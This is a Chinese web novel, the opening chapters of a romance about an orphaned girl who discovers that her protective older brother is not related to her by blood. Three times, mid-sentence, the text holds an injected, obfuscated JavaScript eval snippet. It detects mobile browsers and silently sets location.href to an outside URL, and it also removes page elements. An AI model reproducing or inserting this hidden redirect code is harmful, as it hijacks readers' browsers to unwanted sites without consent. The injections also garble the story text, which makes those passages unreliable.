《自食苦果[伪兄妹]》 1. 潮湿 黎予礼七岁那年,对这个庞大世界的认知还十分有限。 像她喜欢攥在手里的泡泡纸,不大,但足够包裹脆弱。 每当有气泡在她指腹间破裂,心里的惶恐、不安、焦虑与压力都会短暂与膜内空气一同溜去。 她不喜欢阴雨天,很冷,很湿,大家都不会露出笑脸。 她也不喜欢比人还高的花圈,太白,太黑,没人会多看一眼。 她更不喜欢吃人吐骨头的烤箱,好快,好大,让她高喊“快跑啊”。 外婆哭倒在小姨怀里,她一只手被哥哥牵着,一只手藏在口袋里捏泡泡纸。 黎予礼以为不常见面的打招呼是“好久不见”,可两年未见的小姨父却拍着哥哥的肩膀说“节哀”。 她被哥哥拉到一个分别摆着妈妈爸爸照片的房间里,但这不是家里的主卧室。 他们家从未同时接待过这么多穿黑衣服的客人。 哥哥不知何时松开了她的手,她想去拽他的衣袖,心里有十万个为什么想问出口。 抬头看到哥哥的表情后,口袋里那张塑料膜上的小泡泡在她掌心尽数破裂。 原来她最不喜欢的是哥哥的眼泪。 * 九年义务教育里不包含死亡教育,这件事直到黎予礼十四岁时她才意识到。 她才意识到,死亡和天气好坏、花圈高度、烤箱大小无关。 今天阳光正好,晒得她的黑衬衫暖暖的,和外婆刚熨好的一样。 花圈也和她差不多高,但应该比外婆高了一截。 烤箱,啊不,焚化炉,其实烧得也不算快。 毕竟要把那么大个人装到那么小的罐子里。 可是外婆也不算大,不记得从什么时候开始,黎予礼已经能够看清外婆头顶的白发。 第二次来这里,她发现很多事情都变得不一样。 小姨哭倒在小姨父怀里,而她穿的黑色衬衫没有口袋,出门时忘了拿泡泡纸。 没变的是,黎宴琛牢牢牵着她的手,和七年前一样。 摆着外婆照片的房间布置也是,和七年前一样。 黎予礼很少哭,因为外婆不喜欢她哭。 但现在外婆不在了,没人说不喜欢她又苦又咸的眼泪。 她终于在当初黎宴琛的年纪知道了死亡的含义。 可她却无法懂得,为何哥哥不再哭泣。 小姨父说要去他们家拿证件办销户,黎宴琛这才松开她的手,走过去拍了拍小姨父的肩膀,“我去就好,您带小姨回去休息吧。” 她听到小姨不停吸鼻子:“宴琛你还有课要上,剩下的事让大人来办就好。” “我21岁了,不是小孩子。”黎宴琛语气很平静。 在黎予礼的印象里,哥哥一直是这样的人。 冷静,理智。 七岁的年龄差时常让她觉得是无法逾越的鸿沟。 黎宴琛太过成熟。 小姨好似没有力气与他争辩:“好吧,那让姨父送你们回家。” “不用,”拒绝的声音在她意料之中,“打车更方便。” 看到哥哥转身,黎予礼赶忙低下头,也许是因为偷听而心虚。 “为什么不坐小姨家的车?”她一直憋着疑问,直到上了出租车才开口。 黎宴琛偏头看了她一眼,没说什么,从兜里掏出一片湿纸巾递过去。 “这你也随身带吗?” 时至今日黎予礼仍会对她哥口袋里装的东西感到神奇。 像哆啦A梦一样,永远能掏出她需要的。 “不带的话怕邻居误会我捡了只小花猫回家。”他嘴上这么说,手里又不知从哪摸出了个小镜子。 黎予礼“嘁”了一声,看到镜子里满脸泪痕的自己,又乖乖闭了嘴。 “你怎么没哭?”她擦完脸,顺手把用过的湿巾和镜子一并还回去。 这个问题太奇怪了,她并不是出于想要探讨“眼泪是否是怀念逝者的唯一依据”这个命题。 黎宴琛很自然地接过她递回来的所有东西,“不知道。” “不知道?那之前妈和爸……”她嘴比脑子快,话到一半又噤了声。 这不是能被随口提及的事情,黎予礼突然开始讨厌身上这件衬衫。 讨厌它没有口袋。 黎宴琛像是没把她的话当回事,掏出了手机。 羡慕不合时宜地出现在她心里。 那是外婆买给他的手机。 还在读初中的她还没能拥有智能手机使用权。 “给你买台手机,”黎宴琛像她肚子里的蛔虫,“以后有事打我电话。” 亲人相继离世,他现在最庆幸的应该就是当年高考填报志愿选了本市的大学。 “知道了。”黎予礼声音有些闷。 出租车里的味道很难闻。 黎家很有钱,祖上数不清富了几代。 外公是上门女婿,在外婆还年轻的时候帮着打理家族企业。 黎青瑶,也就是他们的妈妈,生前是黎氏集团的董事长。 爸爸严正负责打理杂事。 以前妈妈总说,等黎予礼长大了,就让她当老板,接管几个公司。 至于哥哥嘛,最大的职责是把妹妹照顾好。 不过她没什么远大志向,只想不劳而获,最好是黎宴琛替她劳、给她获。 可惜命运弄人,车祸一场,妈妈连句话也没留下。 外婆不忍心让两个孩子这么小就被迫独立,搬来和他们一起住。 如今外婆也走了,空荡荡的家里又只剩他们兄妹俩。 准确来说是只剩黎予礼一个人。 哥哥大三在读,平时只有周末才会回家。 她现在最需要担心的不是有没有智能机,而是她能不能养活自己。 “今晚想吃什么?” 这句话通常是外婆问的,第一次从黎宴琛的口中听到,她还有些不适应。 也可能是因为刚回到家里,太过冷清,连话都有了回音。 “把明后天想吃的也列出来吧,我待会儿去超市一起买了。” “明后天?”她反问道。 黎宴琛正收拾着东西,在她视线里忙前忙后,“明天我去给外婆办销户,可能没空买菜。” “哦。”黎予礼误会了他的意思。 她以为她哥是因为还没办完后事,所以暂时不回学校。 可她没想到这个饭一做就是一整年。 黎宴琛坚持每天往返学校和家,甚至坚持每天接送黎予礼上下学,直到他大学毕业。 他嘴上说着初三是关键的一年,不希望她的学习生活出任何差池。 但黎予礼清楚,她哥就是放心不下。 她有时候会觉得七岁的年龄差也不坏,至少有个人可以让她依赖。 给她无限大的容错率,永远替她兜底。 毕业后黎宴琛进了黎氏集团,半年不到就从小姨手里接管了两个子公司。 他越来越忙,只能给妹妹请家政和司机。 黎予礼倒是无所谓,没人管最好。 高中的课程足够让人烦恼,多一事不如少一事。 虽然她才是最会闹事的那个。 不爱学习的人,心思自然放在其他地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855433|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “梨子明天放学去电玩城吗?” “最后一节自习课去厕所打游戏呗。” “欸你们看学委那个样子,真的好呆啊救命!” “他之前还敢喜欢你?完全没有自知之明。” “你这个色号好自然啊,刚刚老班都没看出来。” “笑死,他那个死老头能看出来什么啊?” 吵闹的大课间,黎予礼坐在靠窗的座位上,对着镜子贴假睫毛。 几个好姐妹趁她旁边的同学离开,跑过来围坐一圈,七嘴八舌随意谈论着。 她一手拿着镊子,一手举着镜子,可没功夫搭话。 左手上戴着好几串手链,叮呤当啷花里胡哨的,盖住了最贴近她腕脉的红绳。 “去不了,”她终于贴完最后一簇,“明天放学我哥来接我。” “好羡慕啊,我也想有这么帅的哥哥来接我放学。” “为什么我妈妈不能给我生个哥哥,我不想要弟弟!” “梨子你哥哥有女朋友了吗?” 女朋友? 黎予礼“啪”的一声把镜子反扣在桌上。 “没听说过。”她挑了挑眉。 准确来说,是她从来没有好奇过这个问题。 在她看来,黎宴琛是个很无趣的人。 不玩游戏,没有爱好。 毕业前眼里只有学习,毕业后眼里只有工作。 非要说的话,他眼里还有黎予礼。 但家庭功能失调严重影响着她的童年和青春期,幼稚的内心迫切想要构建自我认同感,让她几乎忽视这个家另一个人的想法。 俗称叛逆。 她并不关心黎宴琛每天都在忙什么、想什么。 同样,她希望黎宴琛也不要过度关心她。 不要过度关心她的裙子有多短、假睫毛有多长。 不要过度关心她的分数有多低,皮鞋跟有多高。 她时常怀疑黎宴琛不是她的亲哥哥。 怀疑他们是两个世界的人。 唯一能把他们绑在一起的,是她出生那年妈妈亲手为他们戴上的红绳。 说是平安绳。 但很细,看上去一扯就断。 十六年过去,依旧好好缠着兄妹二人的手腕。 而黎宴琛对于妹妹的脾气早已见怪不怪。 他舍不得责备她,有时甚至会惭愧,是自己不够关心妹妹。 这样尴尬的相处模式一直持续到黎予礼高三那年。 高考报名工作开展时,黎宴琛正好要去国外出差。 学校要求学生递交身份证明材料,包括身份证、户口本复印件等。 黎予礼本想发微信问他户口本放在哪,怕耽误事儿干脆拨了电话。 不巧的是黎宴琛还在飞机上,气流颠簸令他十分不安。 听着手机里未接通的忙音,她翻箱又倒柜,终于在哥哥房间里找到了印有国辉的居民户口簿。 她正想打开微信跟黎宴琛说一声,才发现哥哥上飞机前给她发了三条消息—— 【予礼,生日快乐。】 【哥哥没能陪你,对不起。】 【礼物在书房柜子里,记得拆。】 把手机随意扔到一旁,她打开了户口本。 黎予礼从未想过,七岁那年的潮湿细雨会一直淋到她成年那天。 长达十余年的积水将她淹没,未能被她察觉的细枝末节成为泥沼里的污浊,脆弱的气泡膜再也无法将她包裹。 而真正吞噬她的,是户口本上除了黎宴琛那一页之外,巨大的、无穷的、令人绝望的空白。 2. 磕碰 【礼物收到啦】 【我很喜欢!】 【谢谢哥哥(可爱)】 黎予礼面无表情地敲下三句话,她庆幸21世纪还没能发明出传递真实情绪的聊天软件。 摊开的户口本和黎宴琛手写的生日贺卡一起摆在她面前。 【岁岁如初,生生予礼。】 【十八岁生日快乐。】 字如其人,横平竖直规规矩矩,黑墨笔锋刚柔并济。 年年都这是这句,毫无新意。 用不着黎宴琛亲手送,黎予礼也能想象出他拿着礼物说“生日快乐”时的表情。 只不过现在想象出来她也不会开心。 “嗬。”她自嘲地笑了,比哭还难看。 难怪呢。 难怪哥哥一直是优等生标本,而她像街边抽烟纹身的混混。 原来她和黎宴琛真的是两个世界的人。 * 黎宴琛收到了妹妹发来的信息,也看到了躺在通讯界面的未接来电。 他心里似有方才在高空时的余悸。 【出什么事了吗?】 他说话从不拐弯抹角。 妹妹很快回复:【没事啦】 【我本来想问你落地了没】 【电话没通就知道你还在飞啦】 【(困)】 黎予礼很喜欢给她哥发美叽的表情包,一只耳朵戴粉红蝴蝶结的白色卡通仓鼠。 卖萌效果对黎宴琛有奇效,每次他看到,心情都会不自觉变好。 【困就早点休息】 【出差回去给你带好吃的】 黎予礼没有回复,将那本没有她名字的户口本物归原处。 假装什么事都没有发生过。 她不是没有想过拿着户口本去质问黎宴琛,可她害怕答案会和死亡一样夺走她的亲人。 她已经没了妈妈,没了爸爸,也没了外婆。 不能没有黎宴琛。 盒子里看似用来保护礼物的泡泡纸,实则是哥哥特意准备给她的。 黎予礼一晚上捏完了膜上的所有气泡。 心里的惶恐、不安、焦虑与压力半分未解,她清楚这张薄薄的气泡膜不再有用。 也清楚黎宴琛不再是她的哥哥。 万幸的是黎宴琛出差时间不长,黎予礼打算等他回来再提报名材料的事。 比起关于亲缘的疑问,她更好奇黎宴琛的反应。 她好奇黎宴琛是否知情。 是否和她一样妄图粉饰太平。 黎宴琛回到家里时,她正躺在沙发上玩手机。 家政阿姨做的饭菜摆在餐桌上,完好如初,她一口也没吃。 黎宴琛抬表看了眼时间,“怎么不吃饭?” “等你,”她抬脚一蹬,借力坐起,“还以为你饭点能回到。” 行李都没来得及放好,黎宴琛卷起风衣袖子去厨房洗完手,很快将桌上饭菜都热了一遍。 边忙活还边唠叨:“以后不用等我,到了饭点按时吃。” “小小年纪别一天学那些乱七八糟的,身体健康比什么都重要。” 黎予礼扁扁嘴:“乱七八糟?等哥哥吃饭也叫乱七八糟?” “……”黎宴琛噤了声。 他向来不喜欢与妹妹争辩,一直以来让步的人都是他,更何况是这种无关痛痒的顶嘴。 “洗手吃饭。”他把饭菜一一摆好。 黎予礼爱吃的全被放在她面前。 “高考开始报名了。”她轻轻咬着筷尖,斟酌该如何开口 黎宴琛在吃饭的时候太过沉默了,好比“食不言寝不语”的他的座右铭一样。 听到妹妹开启话匣他也没什么反应,淡淡点了点头,顺手夹了块肥瘦适中的排骨到她碗里。 “要交身份证明材料,”黎予礼用筷子戳了戳排骨肉,“就是,户口本复印件那些。” 她刻意只提了这一项。 可黎宴琛看上去好似没什么反应,面无表情“嗯”了一声,又非常自然地给她夹菜。 “下周一给你办。”他语气平缓。 却让黎予礼心里一股无名火。 “明天不行吗?”她没事找事。 黎宴琛抬眼看她:“明天周日,你需要上晚修不意味着学校教务处上班。” 黎予礼没听明白他的意思。 “你安心学习,其他事不用你操心。”他说话时下意识移开了视线。 可惜黎予礼并没有发现他的异常。 她心说自己除了学习之外什么都愿意操心,唯独学习让她提不起兴趣。 小时候以为是自己没遗传到家里的良好基因,现在才知道自己压根不是这个家里的孩子。 别人高中三年的学业都是越来越忙,黎予礼不一样,她负责看黎宴琛越来越忙 年轻的领导者在职场难免不易服众,黎宴琛需要做的事情太多。 有时她下了晚修,她哥都不一定下班。 不过她倒是不希望黎宴琛来接她放学,因为他们家的司机不敢管她。 看到校门口惯例打着双闪的不是那辆熟悉的立着小翅膀的黑色轿车时,她心里会松一口气。 可拉开车门看到的却不是司机,而是黎宴琛的助理。 “黎小姐。”助理冲她点头打招呼。 黎予礼坐进后座关上车门,“怎么是你?司机呢?” “我来给您递交高考报名材料,黎总交代我顺便接您回家。”助理缓缓踩下油门。 车子平稳发动,她才反应过来黎宴琛说的“不用你操心”是什么意思。 也反应过来黎宴琛一直都知道。 知道她不是他的妹妹。 比起真相,黎予礼发现自己更不能接受哥哥的隐瞒。 或者说是一个扮演着她哥哥角色的人对她进行了欺骗。 泡泡纸不再能够疏解她复杂的情绪,堆积成山的学习任务也压得她喘不过气。 她开始选择逃课。 因为逃避虽然可耻但是有用。 她把家里储藏室落灰的自行车拿了出来,让司机把她和自行车一起送到学校,这样她逃课时就能有代步工具。 逾桐市地势并不平坦,在市高附近多有缓坡,黎予礼似乎找到了代替泡泡纸的解压方式。 下坡时不断被她带起的风速促使她分泌肾上腺素,烦恼与周围景物一同消失在视野之后。 这种感觉令她上瘾,她甚至不再满足于市高附近的坡地。 在其他学生埋头复习的高三上学期里,她有几乎一半以上的时间都在逃课。 不是老师不管,是连年级主任都知道她家爱给学校捐款。 以为大小姐不好惹,殊不知家里有个管教极严的哥哥。 她就这么钻了空子,一逃就是一个冬天。 沿着市高后门的康安路往下骑,会经过逾桐市第一人民医院。 门口车多限行,黎予礼一般骑到附近就会折返。 今天不知是怎么了,神使鬼差般,她一路都没停下。 宽大的红色围巾包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855434|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹在她颈间,末尾流苏与发丝一同扬起。 直到被等乘客的网约车堵住非机动车道,她才不得已刹车,不耐烦地“啧”了一声。 身后忽然有人叫她名字:“黎予礼。” 她一回头就看到学委徐寅安的左手被三角巾悬吊包扎着。 额前发丝被镜框挡在眼前,鼻梁稳稳架住眼镜,毫无血色的双唇里好似要吐出什么话语。 黎予礼并不觉得这张脸能和“呆”字扯上联系。 逃课被抓包,她甚至没功夫思考徐寅安为什么会出现在这里,假笑两声掩饰尴尬:“好巧啊。” 徐寅安看了眼她的自行车,“你哪里不舒服吗?” “啊?”黎予礼单脚支撑着,险些没站稳。 她看向学委疑似脱臼的手臂,心想这人八成是病急乱投医,应该去看脑科。 “我以为你是来……”徐寅安正开口解释,眼前突然有辆车打着转向灯朝黎予礼缓慢前进。 他连忙用右手拉了她一把,却不小心让她重心不稳,连人带车往他的方向倒。 如果不是徐寅安一只手受了伤,他应该能接住她。 可惜不然,黎予礼的膝盖磕碰到了脚踏板,隔着牛仔裤布料,估计只是擦伤破皮。 但细密的痛感很快攀上头皮,她倒吸一口凉气,金鸡独立着把车扶起。 “对不起……”徐寅安还想帮忙,被她推开。 “没事,”虽说人家好心帮倒忙,但她的脾气也没有差到要在医院门口和伤患吵架,“你,没事吧?” “啊?我没事,没撞到我。”徐寅安误解了她的问题。 黎予礼知道为什么这张脸能和“呆”字扯上联系了。 “我是说你的手臂。”她盯着他被夹板固定的手臂,难得多管闲事关心不熟的同学。 徐寅安顺着她的视线低头,“噢,没事,脱臼而已。” 而已? 黎予礼挑了挑眉。 要是她手臂脱臼,估计黎宴琛能把家里屋顶掀了。 徐寅安竟然能跟个没事儿人似的一个人来医院就医。 她眉头轻皱,一想到黎宴琛会因为她膝盖上新出现的小伤而不停盘问,她的心情就莫名变得烦躁。 黎宴琛总是一副恨不得把她拴在裤腰带上的操心样子。 从前的她能够理解,那细密如蛛网的关爱是在连绵不断的阴雨天里结出的。 些许病态,近乎偏执,却并不牢固。 若非黎予礼不反抗,黎宴琛怎么可能困得住她。 可如今得知紧紧系着他们的血缘关系是假,所谓哥哥的关爱竟让她开始觉得头晕、恶心、喘不上气。 徐寅安看出了她的不对劲,问:“你是不是哪里不舒服?” 他心里估计还在因刚才帮了倒忙而愧疚。 黎予礼回过神,没工夫再和他闲谈,答非所问道:“我有事先走了。” 再不溜之大吉,说不定这个呆子学委还要与她“纠缠”不休。 她调转车头方向,推着自行车过马路,打算原路返回学校。 第一人民医院的门口斑马线没有红绿灯,黎予礼只能一边看车一边缓慢通行。 注意力放在脚下,全然未察觉有一辆宾利车在不远处的虚线变道。 她刚把单车推上人行道,正抬腿往上坐,那辆宾利车恰好停在她旁边。 副驾驶的车窗缓慢下降,她看到黎宴琛坐在驾驶座上。 脸色比车身还黑,声音低得像引擎嗡鸣。 “上车。” 3. 伤口 比受伤被唠叨更糟糕的事——逃课被抓。 黎予礼心下一颤,僵在原地思考以她的骑车速度能否两轮赛四轮。 思考无果,黎宴琛已然摔门下车。 她视线下垂,车门重重关上的声音吓得她一抖,压根不敢抬头看他。 “上车。”黎宴琛还是这句话。 黎予礼扶着的自行车被他一把拉过,动作利落放到后置车架上。 她还傻愣愣地站着不动,直到黎宴琛替她打开副驾驶的车门。 被围巾遮盖住的下半张脸微微发热,她牙一咬心一横,乖乖上了车。 车子发动前,她眼尖看到徐寅安仍在马路对面,远远望着他们离开的方向。 医院在车后视镜里渐渐变成一个小小的圆点,黎予礼主动打破沉默:“你怎么来医院了?” 车厢内分明开着暖气,可她却觉得温度将至了冰点。 “小姨生病住院了,我来看望她。”黎宴琛目不斜视,语气听上去过分平静。 握着方向盘的手背上青筋凸起。 “啊,”黎予礼知道他这样是正在气头上,“小姨是不是工作压力太大了?你们总是不注意身体,累垮了才知道休息。” 她试图用拙劣的伎俩掩盖自己逃课的罪行,可惜黎宴琛不吃这套。 “对于我而言你比工作难搞多了。” 他嘴上说着冷冰冰的话,打方向盘转弯时仍是尤为平缓,不会让坐在副驾驶的人受到惯性影响。 黎予礼张口想反驳些什么,但自知理亏,把情绪闷回心里,偏头看向窗外。 车已然驶入小区地下库,昏暗的水泥灰色占据了她的视网膜。 黎宴琛把车停好,解开安全带时看到妹妹坐在身旁一动不动,丝毫没有要下车的意思。 她始终拿后脑勺对着他,脖子上的红围巾是这个幽闭空间里唯一的亮色。 明明生气的是他,但只要黎予礼故意不理人,他便会立刻败下阵。 她听到哥哥用鼻息吐出一声叹气,接着伸手摁下她腰侧的安全带锁扣。 “走吧。”语气恢复往常的温柔。 果然,她最了解他了。 软硬不吃,但受不了软硬皆施。 黎予礼险些忍不住笑意,佯装淡定问:“你还回公司吗?” 这个点距离下班时间还早,但如果黎宴琛只是为了送她一程,目的地应该是学校而非他们家。 黎宴琛摇摇头,不忘把后备箱里的自行车拿出来。 “你要推回家里吗?”黎予礼眨巴两下眼睛,担心他以此为证兴师问罪。 她哥却只是淡淡开口:“我要没收。” “……哦。”她不情不愿。 但看在黎宴琛没有批评她逃课的份上,她勉强接受了这个处置办法。 其实高三的课业无非就是复习加讲评,对于她这样基础都没打好的学生来说,听或不听差别不大。 别人写卷子刷题是为了练手感,她写卷子刷题纯纯是跳进苦海。 以前的她还会白日做梦,妄想黎宴琛能够养她一辈子。 因为她既不爱学习,也不想努力。 可黎宴琛不是她的亲哥哥,她没办法用血缘关系拴他一辈子。 所以在逃课这件极度影响学习成绩的事情上,哪怕黎宴琛不说,她也会产生负罪感。 “对不起。” 房门刚关上,黎予礼站在她哥身后突兀开口。 黎宴琛没有接话,只是转身面对她。 客厅采光并不会让玄关变得明亮,被哥哥接近一米九的身形遮挡,黎予礼几乎站在阴影下。 “我不该……” “你是不是哪里不舒服?” 黎予礼愣住了,打断她的问话令她不知如何回答。 这是她今天第二次听到这个问题。 可不同于第一次的是,黎宴琛问出这句话的前提是知道她逃了课。 也就是说,他在明知道她犯了错的情况下,仍会选择相信这是事出有因。 仍会把她的感受放在第一位去考虑。 “我没……”黎予礼不舍得在这样的情况下撒谎。 可惜黎宴琛不给她坦白的机会:“如果是因为学习太累、压力大的话,我帮你跟老师请个假,你这周在家里好好休息。” “……”最需要休息的人可不是她。 但最需要休息的人不仅不觉得累,还有工夫亲自给她下厨。 “阿姨今天不来吗?”黎予礼没有打下手的技能,只能站在一旁干看着。 开放式厨房让抽油烟机的声音扩散得更远,她险些听不清黎宴琛的回答,“我跟她说今晚不用来。” 想不通为什么有人放着请好的家政不用,愿意自己开火做饭。 黎予礼耸了耸肩,转身回客厅沙发上躺着。 她刚刚去换了套睡衣,顺便检查了一下膝盖上的伤口。 轻微擦伤,不算严重。 反正黎宴琛没有透视眼,隔着衣物哪里看得见。 但事实证明她低估了她哥的观察能力。 黎予礼吃完了饭,端着碗正从座位上站起,本想替黎宴琛收拾桌面。 却被他沉声叫住:“你的腿怎么了?” “?”她一脸难以置信。 难不成他还真有透视眼? 黎宴琛伸手接过她手里的碗筷,扔下一句“去沙发上坐好”便自己收拾起残羹剩饭。 看在他“大发慈悲”帮她请了一周假的份上,她难得听话照做。 沙发座高恰好能让1米65的她在完全靠后坐着的时候双脚微微悬空。 她两手撑在身侧,一前一后交替晃腿。 黎宴琛拎着药箱走过来,凌厉的目光制止住了她幼稚的动作。 他冷颔其首,唇线紧绷,却单膝跪在她腿边,托着她脚踝的掌心温度让她猛地一缩。 “我,我自己来。”黎予礼知道他是打算帮她上药。 虽然那点小伤过几天也能自愈。 黎宴琛没有接话,只缓缓抬头看向她。 让她第一次知道了被他仰视着的感受。 药箱被打开在她眼前,黎宴琛用眼神示意她把睡裤卷上去。 她还怔坐着,没有读懂哥哥视线里的含义。 黎宴琛见她没反应,干脆再次扶住她的小腿,轻轻将裤脚往上推。 棉质布料在膝盖上的位置堆成堆,露出几道破皮渗血的刮蹭伤痕。 黎予礼又想推开他:“我自己来就好。” 她正欲抽走的腿被一股不容拒绝的力量握住,黎宴琛单手禁锢着她,另一只手用棉签沾上药酒,在伤口处轻轻涂抹。 “疼就说。” 黎予礼感觉他周身的气压大概比今天抓到她逃课时还低了许多。 伤口倒是不疼。 心里说不上来的复杂。 换做是以前,她会觉得黎宴琛这样对她是理所应当。 毕竟小时候妈妈就一直教育哥哥要好好照顾她。 可现在的她无法理解,为什么黎宴琛明知道自己不是她的哥哥,却还对她这么好。 不过她思来想去,从小失去双亲的人对家庭的概念应该不算清晰。 就算死去的家人与她没有血缘关系,她也生不出恨意。 更别提对自己的生母生父感到好奇。 倒是黎宴琛的表现让这虚假的兄妹关系变得十分有趣。 无论他出于何种心理,愧疚的、自责的、病态的、偏执的,总之能让黎予礼心安理得接受他的好意,那便算得上是不坏的关系。 比起远离这个欺瞒她多年的家庭,她更想知道这样的关系能够维持多久。 她更想知道黎宴琛能够扮演她的好哥哥多久。 药箱被合上的声音唤回了她的思绪,黎宴琛起身前不忘交代她洗澡的时候小心伤口进水。 黎予礼盯着自己被防水创可贴覆住的膝盖,心说他还真是小题大做。 不过她这个年纪的人有事没事就爱在社交平台发些动态,黎宴琛的“杰作”正好给她提供了新题材。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855435|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她躺在沙发上举着手机,打开相机APP的同时把腿往上抬,对着膝盖“咔嚓”一声。 微信,朋友圈,从相册选择。 勾选刚拍下的膝盖特写。 编辑文案:敷个面膜。 点击发表。 她的朋友圈没有权限分组,谁都能看见。 有时候她还会故意发一些乱七八糟的内容,想招惹黎宴琛批评她。 可惜他这个无趣的人每次生气都是闷声不语,仿佛在用沉默施以暴力。 黎予礼最受不了这一点。 她宁愿黎宴琛和她大吵一架,也不要和只会冷战的人同住一个屋檐下。 没等来黎宴琛的点赞,倒是破天荒收到好几条来自无备注好友的信息。 【你受伤了吗?】 【是下午伤到的吗?】 【很严重吗?】 黎予礼眉头紧皱。 【你谁?】 【徐寅安】 对面几乎秒回。 【我什么时候加的你?】 她完全不记得这茬。 印象里,她和徐寅安的交集有且仅有今天在第一人民医院门口的那十五分钟。 【分班后】 【是我加的你】 黎予礼发了个【哦】,她在面对不熟的人时,连发冰冷的文字消息也会惜字如金。 【所以你的膝盖是今天下午伤的吗?】 徐寅安好像非要得到她明确的答复。 她有些不耐烦,指尖打字的力度都加重不少。 【是啊怎么了?】 【难不成你要给我谢罪?】 黎予礼敲完这两句话,切出去给徐寅安改了个备注名。 回到聊天界面后发现他始终顶着“对方正在输入...”的字样。 她权当话题到此结束,把未熄屏的手机随手放在茶几上,起身回房洗漱。 裹着干发帽到厨房接白开水时,她才想起被自己遗落在客厅的手机。 黎予礼没有设置定时休眠,屏幕始终常亮。 停在她和徐寅安的聊天界面。 【对不起】 【是我的错】 【你让我做什么都可以】 【我明天给你带早餐】 【你想吃什么?】 “……”黎予礼放下水杯。 【不用了】 【我明天不去学校】 【啊】 对面再次秒回。 【伤得这么严重吗?】 【那你复习进度落下了怎么办?】 【我抄一份笔记给你吧】 【我送去你家】 “……”黎予礼开始反思分班后的自己为什么要通过徐寅安的好友申请。 她暂时对这种拿热脸贴她冷屁股的人不感兴趣。 干脆退出微信,眼不见为净。 接下来一周,黎予礼在家舒舒服服地过着吃了睡、睡了吃的生活。 黎宴琛告知她第二天要去学校的消息时,她万分不舍。 真想装病再来一回。 可她一看到黎宴琛的眼睛就撒不了谎。 第二天她起了个大早,不情不愿地上了司机的车。 一到学校就被同学们缠着问发生了什么。 她懒得解释,趴桌子埋头睡觉。 一直到晚自习下课,她都没有理会任何人。 在高三还坚持走读的学生不多,许多同学为了节约时间会选择申请内宿。 黎予礼今天才知道徐寅安也是走读生。 他像个不敢靠近人类的流浪小狗,怀里抱着一本笔记本跟在她身后。 黎予礼终于在走到校门口时忍无可忍,转身回头想质问他到底要干什么。 看到徐寅安单纯的眼神时,她猛地想起班里女生闲聊八卦的时候好像提过一嘴。 烦躁不断攀升,她没有注意到宾利车缓慢开到她身后。 “徐寅安,你喜欢我啊?” 男生竟诚实地点了点头。 4. 犯错 黎予礼愣住了。 从小失去双亲会导致长期情感缺失,进而造成性别社会化受阻。 并可能会促使在成长过程中通过极端方式寻求情感补偿。 不过黎予礼至今没有过一念之差。 因为黎宴琛总会在悬崖边接住她。 但双亲缺位对女孩两性关系认知的负面作用是多维度、代际传递的,她免不了受到影响。 这句情急之下随口问出的话,不过是因同学们的闲聊话题而萌生的疑虑。 她并不在乎徐寅安喜不喜欢她。 但可以肯定的是,这个答案不是她想要的。 徐寅安见她沉默良久,于是抱着笔记本上前一步,正欲开口再说些什么。 她身后那辆黑色宾利车忽然打开了车门。 一位西装革履的男人从驾驶座上下来,绕过车身,径直走到他和黎予礼之间。 男人看上去彬彬有礼,把女生牢牢挡在身后。 面带微笑,却让徐寅安心里一阵恶寒。 “您好,我是黎予礼的家长。” 徐寅安将男人上下打量一番,怎么看也不像父母那一辈的年龄。 他正犹豫要不要做自我介绍,黎予礼忽然拽了拽男人的西服袖子。 “你今晚怎么有空来接我?” “你先上车。” 男人转头对她说话时一改方才冷厉的态度,她反倒一脸不愿听话的模样。 不愿听话但照做,徐寅安见她转身要走,连忙上前递出笔记本。 “这份复习笔记你拿去吧……”他话还未说完就被男人伸手拦下。 黎予礼在上车前,第一次从她向来以礼待人的哥哥嘴里听到了如此冒犯之言。 “你的好意我替她心领了,但你作为她的同龄人,这种方式对她的学习毫无用处。” 黎宴琛生气了。 比那天抓到她逃课还生气。 黎予礼坐在副驾驶座大气不敢出,想不通她哥哥到底哪根筋搭错了。 “那个,”她故意没话找话,“小姨身体怎么样了?” “明天出院。”他惜字如金。 她试探性问:“那,我陪你一起去?” 接人出院这种事情根本用不着她一个高三在读生。 更何况小姨有小姨父,黎宴琛去也不过是出于情理。 黎予礼做好了被她哥拒绝的准备。 “可以。” “?” “明天帮你请假。” “真去啊?” 黎宴琛睨了她一眼,车窗外闪烁而过的路灯把他的侧脸刻得太过锋利。 她丝毫不收敛目光,转头盯着他半晌。 终于在小区地下库吞没所有光亮时,读懂了黎宴琛紧抿着的双唇里藏着什么情绪。 电梯直线上升,黎予礼跟在他身后,家门上的智能锁报错了两次才成功识别他的指纹。 黎宴琛佯装的镇定总会在这样的细节之处暴露。 “你听到了?”黎予礼没头没尾地发问。 “听到什么?” “刚才在校门口。” 